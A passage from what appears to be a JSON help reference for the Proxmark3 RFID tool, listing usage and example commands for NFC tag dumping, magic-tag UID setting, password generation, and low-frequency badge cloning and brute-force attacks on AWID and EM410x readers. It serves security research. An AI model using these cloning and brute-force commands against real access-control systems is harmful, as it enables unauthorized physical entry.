from ultralight, ultralight-c, ultralight ev1 ntag 203, ntag 210, ntag 212, ntag 213, ntag 215, ntag 216 and saves data into binary/json files. it autodetects card type.", + "notes": [ + "hf mfu dump -f myfile -> dump whole tag, save to `myfile.bin`", + "hf mfu dump -k aabbccdd -> dump whole tag using pwd aabbccdd", + "hf mfu dump -p 10 -> start at page 10 and dump rest of blocks", + "hf mfu dump -p 10 -q 2 -> start at page 10 and dump two blocks", + "hf mfu dump --key 00112233445566778899aabbccddeeff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file specify a filename for dump file", + "-k, --key key for authentication (ul-c 16 bytes, ev1/ntag 4 bytes)", + "-l swap entered key's endianness", + "-p, --page manually set start page number to start from", + "-q, --qty manually set number of pages to dump" + ], + "usage": "hf mfu dump [-hl] [-f ] [-k ] [-p ] [-q ]" + }, + "hf mfu eload": { + "command": "hf mfu eload", + "description": "load emulator memory with data from `filename.eml` dump file see `script run data_mfu_bin2eml` to convert the .bin to .eml", + "notes": [ + "hf mfu eload --ul -f hf-mfu-04010203040506.eml", + "hf mfu eload --ul -f hf-mfu-04010203040506.eml -q 57 -> load 57 blocks from myfile" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump", + "--ul mifare ultralight family", + "-q, --qty number of blocks to load from eml file" + ], + "usage": "hf mfu eload [-h] -f --ul [-q ]" + }, + "hf mfu eview": { + "command": "hf mfu eview", + "description": "it displays emulator memory", + "notes": [ + "hf mfu eview" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mfu eview [-h]" + }, + "hf mfu help": { + "command": "hf mfu help", + "description": "help this help keygen generate 3des mifare diversified keys pwdgen generate pwd from known algos --------------------------------------------------------------------------------------- hf mfu keygen available offline: yes set the 3des key on mifare ultralight-c tag.", + "notes": [ + "hf mfu keygen -r", + "hf mfu keygen --uid 11223344556677" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-u, --uid <4|7> hex byte uid", + "-r read uid from tag" + ], + "usage": "hf mfu keygen [-hr] [-u ]" + }, + "hf mfu info": { + "command": "hf mfu info", + "description": "get info about mifare ultralight family styled tag. sometimes the tags are locked down, and you may need a key to be able to read the information", + "notes": [ + "hf mfu info", + "hf mfu info -k aabbccdd", + "hf mfu info --key 00112233445566778899aabbccddeeff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key for authentication (ul-c 16 bytes, ev1/ntag 4 bytes)", + "-l swap entered key's endianness" + ], + "usage": "hf mfu info [-hl] [-k ]" + }, + "hf mfu ndefread": { + "command": "hf mfu ndefread", + "description": "prints nfc data exchange format (ndef)", + "notes": [ + "hf mfu ndefread -> shows ndef data", + "hf mfu ndefread -k ffffffff -> shows ndef data with key" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-l swap entered key's endianness" + ], + "usage": "hf mfu ndefread [-hl] [-k replace default key for ndef]" + }, + "hf mfu otptear": { + "command": "hf mfu otptear", + "description": "tear-off test against otp block", + "notes": [ + "hf mfu otptear -b 3", + "hf mfu otptear -b 3 -i 100 -s 1000", + "hf mfu otptear -b 3 -i 1 -e 200", + "hf mfu otptear -b 3 -i 100 -s 200 -e 2500 -d ffffffff -t eeeeeeee", + "hf mfu otptear -b 3 -i 100 -s 200 -e 2500 -d ffffffff -t eeeeeeee -m 00000000 -> quit when otp is reset" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk target block (def 8)", + "-i, --inc increase time steps (def 500 us)", + "-e, --end end time (def 3000 us)", + "-s, --start start time (def 0 us)", + "-d, --data initialise data before run (4 bytes)", + "-t, --test test write data (4 bytes, 00000000 by default)", + "-m, --match exit criteria, if block matches this value (4 bytes)" + ], + "usage": "hf mfu otptear [-h] [-b ] [-i ] [-e ] [-s ] [-d ] [-t ] [-m ]" + }, + "hf mfu pwdgen": { + "command": "hf mfu pwdgen", + "description": "generate different passwords from known pwdgen algos", + "notes": [ + "hf mfu pwdgen -r", + "hf mfu pwdgen -t", + "hf mfu pwdgen --uid 11223344556677" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-u, --uid uid (7 bytes)", + "-r read uid from tag", + "-t selftest" + ], + "usage": "hf mfu pwdgen [-hrt] [-u ]" + }, + "hf mfu rdbl": { + "command": "hf mfu rdbl", + "description": "read a block and print. it autodetects card type.", + "notes": [ + "hf mfu rdbl -b 0", + "hf mfu rdbl -b 0 -k aabbccdd", + "hf mfu rdbl -b 0 --key 00112233445566778899aabbccddeeff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key for authentication (ul-c 16 bytes, ev1/ntag 4 bytes)", + "-l swap entered key's endianness", + "-b, --block block number to write" + ], + "usage": "hf mfu rdbl [-hl] [-k ] -b " + }, + "hf mfu restore": { + "command": "hf mfu restore", + "description": "restore dumpfile onto card.", + "notes": [ + "hf mfu restore -f myfile -s -> user specified filename and special write", + "hf mfu restore -f myfile -k aabbccdd -s -> user specified filename, special write and use key", + "hf mfu restore -f myfile -k aabbccdd -ser -> user specified filename, special write, use key, ..." + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file specify a filename to restore", + "-k, --key key for authentication (ul-c 16 bytes, ev1/ntag 4 bytes)", + "-l swap entered key's endianness", + "-s enable special write uid -magic tag only-", + "-e enable special write version/signature -magic ntag 21* only-", + "-r use the password found in dumpfile to configure tag. requires '-e' parameter to work", + "-v, --verbose verbose" + ], + "usage": "hf mfu restore [-hlserv] -f [-k ]" + }, + "hf mfu setpwd": { + "command": "hf mfu setpwd", + "description": "set the 3des key on mifare ultralight-c tag.", + "notes": [ + "hf mfu setpwd --key 000102030405060708090a0b0c0d0e0f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key new key (16 bytes)" + ], + "usage": "hf mfu setpwd [-h] [-k ]" + }, + "hf mfu setuid": { + "command": "hf mfu setuid", + "description": "set uid on mifare ultralight tag. this only works for `magic ultralight` tags.", + "notes": [ + "hf mfu setuid --uid 11223344556677" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid new uid (7 bytes)" + ], + "usage": "hf mfu setuid [-h] [-u ]" + }, + "hf mfu sim": { + "command": "hf mfu sim", + "description": "simulate mifare ultralight family type based upon iso/iec 14443 type a tag with 4,7 or 10 byte uid from emulator memory. see `hf mfu eload` first. see `hf 14a sim -h` to see available types. you want 2 or 7 usually.", + "notes": [ + "hf mfu sim -t 2 --uid 1122344556677 -> mifare ultralight", + "hf mfu sim -t 7 --uid 1122344556677 -n 5 -> amiibo (ntag 215), pack 0x8080" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --type <1-10> simulation type to use", + "-u, --uid 4, 7 or 10 byte uid", + "-n, --num exit simulation after blocks have been read by reader. 0 = infinite", + "-v, --verbose verbose output" + ], + "usage": "hf mfu sim [-hv] -t <1-10> [-u ] [-n ]" + }, + "hf mfu wrbl": { + "command": "hf mfu wrbl", + "description": "write a block. it autodetects card type.", + "notes": [ + "hf mfu wrbl -b 0 -d 01234567", + "hf mfu wrbl -b 0 -d 01234567 -k aabbccdd", + "hf mfu wrbl -b 0 -d 01234567 -k 00112233445566778899aabbccddeeff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key for authentication (ul-c 16 bytes, ev1/ntag 4 bytes)", + "-l swap entered key's endianness", + "-b, --block block number to write", + "-d, --data block data (4 or 16 hex bytes, 16 hex bytes will do a compatibility write)" + ], + "usage": "hf mfu wrbl [-hl] [-k ] -b -d " + }, + "hf plot": { + "command": "hf plot", + "description": "plots hf signal after rf signal path and a/d conversion.", + "notes": [ + "this can be used after any hf command and will show the last few milliseconds of the hf signal.", + "note: if the last hf command terminated because of a timeout you will most probably see nothing." + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf plot [-h]" + }, + "hf search": { + "command": "hf search", + "description": "will try to find a hf read out of the unknown tag. continues to search for all different hf protocols.", + "notes": [ + "hf search" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf search [-h]" + }, + "hf seos help": { + "command": "hf seos help", + "description": "help this help list list seos history --------------------------------------------------------------------------------------- hf seos info available offline: no get info from seos tags", + "notes": [ + "hf seos info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf seos info [-h]" + }, + "hf seos list": { + "command": "hf seos list", + "description": "alias of `trace list -t 7816` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf seos list -f -> show frame delay times", + "hf seos list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf seos list [-h1fcrux] [--dict ]..." + }, + "hf sniff": { + "command": "hf sniff", + "description": "the high frequency sniffer will assign all available memory on device for sniffed data. use `data samples` to download from device and `data plot` to visualize it. press button to quit the sniffing.", + "notes": [ + "hf sniff", + "hf sniff --sp 1000 --st 0 -> skip 1000 pairs, skip 0 triggers" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--sp skip sample pairs", + "--st skip number of triggers" + ], + "usage": "hf sniff [-h] [--sp ] [--st ]" + }, + "hf st25ta help": { + "command": "hf st25ta help", + "description": "help this help list list iso 14443a/7816 history ndefread read ndef file on tag --------------------------------------------------------------------------------------- hf st25ta info available offline: no get info about st25ta tag", + "notes": [ + "hf st25ta info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf st25ta info [-h]" + }, + "hf st25ta list": { + "command": "hf st25ta list", + "description": "alias of `trace list -t 7816` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf st25ta list -f -> show frame delay times", + "hf st25ta list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf st25ta list [-h1fcrux] [--dict ]..." + }, + "hf st25ta ndefread": { + "command": "hf st25ta ndefread", + "description": "read nfc data exchange format (ndef) file on st25ta", + "notes": [ + "hf st25ta ndefread -p 82e80053d4ca5c0b656d852cc696c8a1" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-p, --pwd 16 byte read password" + ], + "usage": "hf st25ta ndefread [-h] [-p ]" + }, + "hf st25ta protect": { + "command": "hf st25ta protect", + "description": "change read or write protection for nfc data exchange format (ndef) file on st25ta", + "notes": [ + "hf st25ta protect -p 82e80053d4ca5c0b656d852cc696c8a1 -r -e -> enable read protection", + "hf st25ta protect -p 82e80053d4ca5c0b656d852cc696c8a1 -w -d -> disable write protection" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-e, --enable enable protection", + "-d, --disable disable protection (default)", + "-r, --read change read protection", + "-w, --write change write protection (default)", + "-p, --password 16 byte write password" + ], + "usage": "hf st25ta protect [-hedrw] -p " + }, + "hf st25ta pwd": { + "command": "hf st25ta pwd", + "description": "change read or write password for nfc data exchange format (ndef) file on st25ta", + "notes": [ + "hf st25ta pwd -p 82e80053d4ca5c0b656d852cc696c8a1 -r -n 00000000000000000000000000000000 -> change read password", + "hf st25ta pwd -p 82e80053d4ca5c0b656d852cc696c8a1 -w -n 00000000000000000000000000000000 -> change write password" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --read change the read password (default)", + "-w, --write change the write password", + "-p, --password current 16 byte write password", + "-n, --new new 16 byte password" + ], + "usage": "hf st25ta pwd [-hrw] -p -n " + }, + "hf st25ta sim": { + "command": "hf st25ta sim", + "description": "emulating st25ta512b tag with 7 byte uid", + "notes": [ + "hf st25ta sim -u 02e2007d0fca4c" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid 7 byte uid" + ], + "usage": "hf st25ta sim [-h] -u " + }, + "hf thinfilm help": { + "command": "hf thinfilm help", + "description": "help this help list list nfc barcode / thinfilm history - not correct --------------------------------------------------------------------------------------- hf thinfilm info available offline: no get info from thinfilm tags", + "notes": [ + "hf thinfilm info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf thinfilm info [-h]" + }, + "hf thinfilm list": { + "command": "hf thinfilm list", + "description": "alias of `trace list -t thinfilm` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf thinfilm list -f -> show frame delay times", + "hf thinfilm list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf thinfilm list [-h1fcrux] [--dict ]..." + }, + "hf thinfilm sim": { + "command": "hf thinfilm sim", + "description": "simulate thinfilm tag", + "notes": [ + "hf thinfilm sim -d b70470726f786d61726b2e636f6d" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data bytes to send", + "--raw raw, provided bytes should include crc" + ], + "usage": "hf thinfilm sim [-h] -d [--raw]" + }, + "hf topaz help": { + "command": "hf topaz help", + "description": "help this help list list topaz history --------------------------------------------------------------------------------------- hf topaz list available offline: yes alias of `trace list -t topaz` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf topaz list -f -> show frame delay times", + "hf topaz list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf topaz list [-h1fcrux] [--dict ]..." + }, + "hf topaz info": { + "command": "hf topaz info", + "description": "get info from topaz tags", + "notes": [ + "hf topaz info" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose verbose output" + ], + "usage": "hf topaz info [-hv]" + }, + "hf topaz raw": { + "command": "hf topaz raw", + "description": "send raw hex data to topaz tags", + "notes": [ + "hf topaz raw -> not yet implemented" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf topaz raw [-h]" + }, + "hf topaz reader": { + "command": "hf topaz reader", + "description": "read uid from topaz tags", + "notes": [ + "hf topaz reader" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose verbose output" + ], + "usage": "hf topaz reader [-hv]" + }, + "hf topaz sim": { + "command": "hf topaz sim", + "description": "simulate a topaz tag", + "notes": [ + "hf topaz sim -> not yet implemented" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf topaz sim [-h]" + }, + "hf topaz sniff": { + "command": "hf topaz sniff", + "description": "sniff topaz reader-tag communication", + "notes": [ + "hf topaz sniff" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf topaz sniff [-h]" + }, + "hf tune": { + "command": "hf tune", + "description": "continuously measure hf antenna tuning. press button or to interrupt.", + "notes": [ + "hf tune", + "hf tune --mix" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --iter number of iterations (default: 0=infinite)", + "--bar bar style", + "--mix mixed style", + "--value values style" + ], + "usage": "hf tune [-h] [-n ] [--bar] [--mix] [--value]" + }, + "hf waveshare help": { + "command": "hf waveshare help", + "description": "help this help --------------------------------------------------------------------------------------- hf waveshare loadbmp available offline: no load bmp file to waveshare nfc epaper.", + "notes": [ + "hf waveshare loadbmp -f myfile -m 0 -> 2.13 inch e-paper ( 122, 250 )", + "hf waveshare loadbmp -f myfile -m 1 -> 2.9 inch e-paper ( 296, 128 )", + "hf waveshare loadbmp -f myfile -m 2 -> 4.2 inch e-paper ( 400, 300 )", + "hf waveshare loadbmp -f myfile -m 3 -> 7.5 inch e-paper ( 800, 480 )", + "hf waveshare loadbmp -f myfile -m 4 -> 2.7 inch e-paper ( 176, 276 )", + "hf waveshare loadbmp -f myfile -m 5 -> 2.13 inch e-paper b (with red) ( 104, 212 )", + "hf waveshare loadbmp -f myfile -m 6 -> 1.54 inch e-paper b (with red) ( 200, 200 )", + "hf waveshare loadbmp -f myfile -m 7 -> 7.5 inch e-paper hd ( 880, 528 )" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-m model number [0 - 7] of your tag", + "-s, --save save dithered version in filename-[n].bmp, only for rgb bmp", + "-f, --file filename[.bmp] to upload to tag" + ], + "usage": "hf waveshare loadbmp [-hs] -m -f " + }, + "hints": { + "command": "hints", + "description": "turn on/off hints", + "notes": [ + "hints --on", + "hints -1" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --on turn on hints", + "-0, --off turn off hints" + ], + "usage": "hints [-h10]" + }, + "hw connect": { + "command": "hw connect", + "description": "connects to a proxmark3 device via specified serial port. baudrate here is only for physical uart or uart-bt, not for usb-cdc or blue shark add-on", + "notes": [ + "hw connect -p /dev/ttyacm0", + "hw connect -p /dev/ttyacm0 -b 115200" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-p, --port serial port to connect to, else retry the last used one", + "-b, --baud baudrate" + ], + "usage": "hw connect [-h] [-p ] [-b ]" + }, + "hw dbg": { + "command": "hw dbg", + "description": "set device side debug level output. note: option -4, this option may cause malfunction itself", + "notes": [ + "hw dbg -1" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-0 no debug messages", + "-1 error messages", + "-2 plus information messages", + "-3 plus debug messages", + "-4 print even debug messages in timing critical functions" + ], + "usage": "hw dbg [-h01234]" + }, + "hw detectreader": { + "command": "hw detectreader", + "description": "start to detect presences of reader field", + "notes": [ + "hw detectreader -l" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-l, --lf detect low frequence 125/134 khz", + "-h, --hf detect high frequence 13.56 mhz" + ], + "usage": "hw detectreader [-hlh]" + }, + "hw fpgaoff": { + "command": "hw fpgaoff", + "description": "turn of fpga and antenna field", + "notes": [ + "hw fpgaoff" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hw fpgaoff [-h]" + }, + "hw help": { + "command": "hw help", + "description": "------------- ----------------------- hardware ----------------------- help this help connect connect proxmark3 to serial port --------------------------------------------------------------------------------------- hw break available offline: no send break loop package", + "notes": [ + "hw break" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hw break [-h]" + }, + "hw lcd": { + "command": "hw lcd", + "description": "send command/data to lcd", + "notes": [ + "hw lcd -r aa -c 03 -> sends 0xaa three times" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw data", + "-c, --cnt number of times to send" + ], + "usage": "hw lcd [-h] -r -c " + }, + "hw lcdreset": { + "command": "hw lcdreset", + "description": "hardware reset lcd", + "notes": [ + "hw lcdreset" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hw lcdreset [-h]" + }, + "hw ping": { + "command": "hw ping", + "description": "test if the proxmark3 is responsive", + "notes": [ + "hw ping", + "hw ping --len 32" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-l, --len length of payload to send" + ], + "usage": "hw ping [-h] [-l ]" + }, + "hw readmem": { + "command": "hw readmem", + "description": "read memory at decimal address from arm chip flash.", + "notes": [ + "hw readmem -a 10000" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --adr address to read" + ], + "usage": "hw readmem [-h] -a " + }, + "hw reset": { + "command": "hw reset", + "description": "reset the proxmark3 device.", + "notes": [ + "hw reset" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hw reset [-h]" + }, + "hw setlfdivisor": { + "command": "hw setlfdivisor", + "description": "drive lf antenna at 12 mhz / (divisor + 1).", + "notes": [ + "hw setlfdivisor -d 88" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --div 19 - 255 divisor value (def 95)" + ], + "usage": "hw setlfdivisor [-h] -d " + }, + "hw setmux": { + "command": "hw setmux", + "description": "set the adc mux to a specific value", + "notes": [ + "hw setmux --hiraw -> set high raw" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--lopkd low peak", + "--loraw low raw", + "--hipkd high peak", + "--hiraw high raw" + ], + "usage": "hw setmux [-h] [--lopkd] [--loraw] [--hipkd] [--hiraw]" + }, + "hw standalone": { + "command": "hw standalone", + "description": "start standalone mode", + "notes": [ + "hw standalone -> start", + "hw standalone -a 1 -> start and send arg 1" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --arg argument byte" + ], + "usage": "hw standalone [-h] [-a ]" + }, + "hw status": { + "command": "hw status", + "description": "show runtime status information about the connected proxmark3", + "notes": [ + "hw status" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hw status [-h]" + }, + "hw tearoff": { + "command": "hw tearoff", + "description": "configure a tear-off hook for the next write command supporting tear-off after having been triggered by a write command, the tear-off hook is deactivated delay (in us) must be between 1 and 43000 (43ms). precision is about 1/3us.", + "notes": [ + "hw tearoff --delay 1200 -> define delay of 1200us", + "hw tearoff --on -> (re)activate a previously defined delay", + "hw tearoff --off -> deactivate a previously activated but not yet triggered hook" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--delay delay in us before triggering tear-off, must be between 1 and 43000", + "--on activate tear-off hook", + "--off deactivate tear-off hook", + "-s, --silent less verbose output" + ], + "usage": "hw tearoff [-hs] [--delay ] [--on] [--off]" + }, + "hw tia": { + "command": "hw tia", + "description": "trigger a timing interval acquisition to re-adjust the realtimecounter divider", + "notes": [ + "hw tia" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hw tia [-h]" + }, + "hw tune": { + "command": "hw tune", + "description": "measure antenna tuning", + "notes": [ + "hw tune" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hw tune [-h]" + }, + "hw version": { + "command": "hw version", + "description": "show version information about the connected proxmark3", + "notes": [ + "hw version" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hw version [-h]" + }, + "lf awid brute": { + "command": "lf awid brute", + "description": "enables bruteforce of awid reader with specified facility-code. this is a attack against reader. if cardnumber is given, it starts with it and goes up / down one step if cardnumber is not given, it starts with 1 and goes up to 65535", + "notes": [ + "lf awid brute --fmt 26 --fc 224", + "lf awid brute --fmt 50 --fc 2001 --delay 2000", + "lf awid brute --fmt 50 --fc 2001 --cn 200 --delay 2000 -v" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--fmt format length 26|50", + "--fc 8|16bit value facility code", + "--cn optional - card number to start with, max 65535", + "--delay optional - delay betweens attempts in ms. default 1000ms", + "-v, --verbose verbose logging, show all tries" + ], + "usage": "lf awid brute [-hv] --fmt --fc [--cn ] [--delay ]" + }, + "lf awid clone": { + "command": "lf awid clone", + "description": "clone a awid prox tag to a t55x7, q5/t5555 or em4305/4469 tag", + "notes": [ + "lf awid clone --fmt 26 --fc 123 --cn 1337", + "lf awid clone --fmt 50 --fc 2001 --cn 13371337", + "lf awid clone --q5 --fmt 26 --fc 123 --cn 1337 -> encode for q5/t5555 tag", + "lf awid clone --em --fmt 26 --fc 123 --cn 1337 -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--fmt format length 26|34|37|50", + "--fc 8|16bit value facility code", + "--cn 16|32-bit value card number", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf awid clone [-h] --fmt --fc --cn [--q5] [--em]" + }, + "lf awid help": { + "command": "lf awid help", + "description": "help this help demod demodulate an awid fsk tag from the graphbuffer --------------------------------------------------------------------------------------- lf awid demod available offline: yes try to find awid prox preamble, if found decode / descramble data", + "notes": [ + "lf awid demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf awid demod [-h]" + }, + "lf awid reader": { + "command": "lf awid reader", + "description": "read a awid prox tag", + "notes": [ + "lf awid reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf awid reader [-h@]" + }, + "lf awid sim": { + "command": "lf awid sim", + "description": "enables simulation of awid card with specified facility-code and card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf awid sim --fmt 26 --fc 123 --cn 1337", + "lf awid sim --fmt 50 --fc 2001 --cn 13371337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--fmt format length 26|32|36|40", + "--fc 8-bit value facility code", + "--cn 16-bit value card number" + ], + "usage": "lf awid sim [-h] --fmt --fc --cn " + }, + "lf awid watch": { + "command": "lf awid watch", + "description": "enables awid compatible reader mode printing details of scanned awid26 or awid50 tags. run until the button is pressed or another usb command is issued.", + "notes": [ + "lf awid watch" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf awid watch [-h]" + }, + "lf cmdread": { + "command": "lf cmdread", + "description": "modulate lf reader field to send command before read. all periods in microseconds. - use `lf config` to set parameters", + "notes": [ + "lf cmdread -d 50 -z 116 -o 166 -e w3000 -c w00110 -> probing for hitag 1/s", + "lf cmdread -d 50 -z 116 -o 166 -e w3000 -c w11000 -> probing for hitag 2", + "lf cmdread -d 50 -z 116 -o 166 -e w3000 -c w11000 -q -s 2000 -@ -> probing for hitag 2, oscilloscope style", + "lf cmdread -d 48 -z 112 -o 176 -e w3000 -e s240 -e e336 -c w0s00000010000e -> probing for hitag (us)" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --duration delay off period, (0 for bitbang mode)", + "-c, --cmd <0|1|...> command symbols", + "-e, --extra extra symbol definition and duration (up to 4)", + "-o, --one one time period", + "-z, --zero zero time period", + "-s, --samples number of samples to collect", + "-v, --verbose verbose output", + "-@ continuous mode" + ], + "usage": "lf cmdread [-hv@] [-d ] [-c <0|1|...>] [-e ]... [-o ] [-z ] [-s ]" + }, + "lf cotag help": { + "command": "lf cotag help", + "description": "help this help demod demodulate an cotag tag --------------------------------------------------------------------------------------- lf cotag demod available offline: yes try to find cotag preamble, if found decode / descramble data", + "notes": [ + "lf cotag demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf cotag demod [-h]" + }, + "lf cotag reader": { + "command": "lf cotag reader", + "description": "read a cotag tag, the current support for cotag is limited.", + "notes": [ + "lf cotag reader -2" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-1 high/low signal; maxlength bigbuff", + "-2 translation of high/low into bytes with manchester 0,1", + "-3 raw signal; maxlength bigbuff" + ], + "usage": "lf cotag reader [-h123]" + }, + "lf destron clone": { + "command": "lf destron clone", + "description": "clone a destron tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf destron clone --uid 1a2b3c4d5e", + "lf destron clone --q5 --uid 1a2b3c4d5e -> encode for q5/t5555 tag", + "lf destron clone --em --uid 1a2b3c4d5e -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid 5 bytes max", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf destron clone [-h] -u [-u ]... [--q5] [--em]" + }, + "lf destron help": { + "command": "lf destron help", + "description": "help this help demod demodulate an destron tag from the graphbuffer --------------------------------------------------------------------------------------- lf destron demod available offline: yes try to find destron preamble, if found decode / descramble data", + "notes": [ + "lf destron demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf destron demod [-h]" + }, + "lf destron reader": { + "command": "lf destron reader", + "description": "read a destron tag", + "notes": [ + "lf destron reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf destron reader [-h@]" + }, + "lf destron sim": { + "command": "lf destron sim", + "description": "try to find destron preamble, if found decode / descramble data", + "notes": [ + "lf destron sim" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf destron sim [-h]" + }, + "lf em 410x brute": { + "command": "lf em 410x brute", + "description": "bruteforcing by emulating em 410x tag", + "notes": [ + "lf em 410x brute -f ids.txt", + "lf em 410x brute -f ids.txt --clk 32", + "lf em 410x brute -f ids.txt --delay 3000", + "lf em 410x brute -f ids.txt --delay 3000 --clk 32" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--clk <32|64> clock (default 64)", + "--delay pause delay in milliseconds between uids simulation (default 1000ms)", + "-f, --file file with uids in hex format, one per line", + "--gap gap (0's) between id repeats (default 20)" + ], + "usage": "lf em 410x brute [-h] [--clk ] [--delay ] -f [--gap ]" + }, + "lf em 410x clone": { + "command": "lf em 410x clone", + "description": "writes em410x id to a t55x7 or q5/t5555 tag", + "notes": [ + "lf em 410x clone --id 0f0368568b -> write id to t55x7 tag", + "lf em 410x clone --id 0f0368568b --q5 -> write id to q5/t5555 tag" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--clk <16|32|40|64> clock (default 64)", + "--id id number (5 hex bytes)", + "--q5 specify writing to q5/t5555 tag" + ], + "usage": "lf em 410x clone [-h] [--clk ] --id [--q5]" + }, + "lf em 410x reader": { + "command": "lf em 410x reader", + "description": "read em 410x tag", + "notes": [ + "lf em 410x reader -> reader", + "lf em 410x reader 